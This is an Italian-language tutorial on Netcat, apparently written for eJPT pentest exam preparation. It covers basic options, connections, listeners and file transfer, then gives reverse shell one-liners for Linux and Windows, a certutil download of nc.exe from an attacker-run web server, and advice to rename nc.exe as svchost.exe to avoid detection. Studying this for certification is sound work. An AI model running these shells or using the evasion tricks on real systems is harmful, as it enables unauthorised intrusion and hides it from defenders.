Tutorials

Netcat Fundamentals – Guida Approfondita

Netcat noto anche come nc è uno degli strumenti più versatili e potenti per l'amministrazione di rete, il pentesting e il trasferimento dati. Di seguito una guida completa sull'utilizzo di Netcat, arr

#exploitation

Netcat Fundamentals – Guida Approfondita

Netcat (noto anche come nc) è uno degli strumenti più versatili e potenti per l'amministrazione di rete, il pentesting e il trasferimento dati. Di seguito una guida completa sull'utilizzo di Netcat, arricchita con esempi pratici, spiegazioni tecniche e opzioni avanzate per la tua preparazione eJPT.


1. Opzioni Principali

OpzioneDescrizione
-vVerbose output (mostra informazioni di connessione)
-nNon risolve nomi host via DNS
-lImposta Netcat in modalità listener (ascolto)
-pSpecifica la porta (va usata con -l)
-uUtilizza il protocollo UDP anziché TCP
-eEsegue un comando dopo la connessione (potenzialmente pericolosa)

2. Connessioni TCP e UDP

  • Connettersi a un IP su una porta specifica:
bash
nc 192.168.1.3 80
  • Con connessione verbose:
bash
nc -nv 192.168.1.3 80
  • Connessione UDP:
bash
nc -nvu 192.168.1.3 139

3. Listener TCP e UDP

  • Avviare un listener TCP:
bash
nc -lvnp 4444
  • Avviare un listener UDP:
bash
nc -lvnup 4444
  • Connettersi al listener TCP da una macchina Windows:
cmd
nc.exe -nv 192.168.1.2 4444
  • Connettersi al listener UDP da Windows:
cmd
nc.exe -nvu 192.168.1.2 4444

4. Trasferimento di File

  • Sul sistema ricevente:
bash
nc -lvnp 4444 > nomefile.txt
  • Sul sistema mittente:
bash
nc -nv 192.168.1.3 4444 < nomefile.txt
⚠️ Attenzione: il trasferimento via netcat è non cifrato. Evitare file sensibili su reti insicure.

5. Esecuzione Remota di Comandi (con -e)

❌ Questa funzione può essere disabilitata in alcune versioni di netcat per motivi di sicurezza. Usare con cautela.
  • Shell remota reverse:
bash
# Listener su Kali:
nc -lvnp 4444

Reverse shell sulla macchina target:

nc -e /bin/bash 192.168.1.2 4444
  • Per Windows:
cmd
nc.exe -e cmd.exe 192.168.1.2 4444

6. Deploy di Netcat su Sistemi Windows

  • Il file nc.exe può essere reperito su Linux alla path:
bash
/usr/share/windows-binaries/
  • Per trasferire nc.exe a una macchina Windows:

1. Avviare un web server su Kali:

bash
python3 -m http.server 8000

2. Scaricare da Windows:

cmd
certutil -urlcache -f http://192.168.1.2:8000/nc.exe nc.exe

7. Alternative e Considerazioni

  • Netcat Traditional vs OpenBSD Netcat:
Alcune opzioni potrebbero variare tra versioni (es. -e non è presente su netcat-openbsd).
  • Sostituti avanzati:
- ncat (parte di Nmap) - socat (per connessioni cifrate o più complesse) - plink (strumento SSH di PuTTY per Windows)

8. Best Practice nel Pentesting

  • Cambiare nome a nc.exe una volta copiato sul target (es. svchost.exe) per ridurre il rischio di detection.
  • Preferire la reverse shell a connessione diretta per superare firewall o NAT.
  • Validare sempre la presenza di antivirus/EDR che potrebbero bloccare nc.exe o le connessioni in chiaro.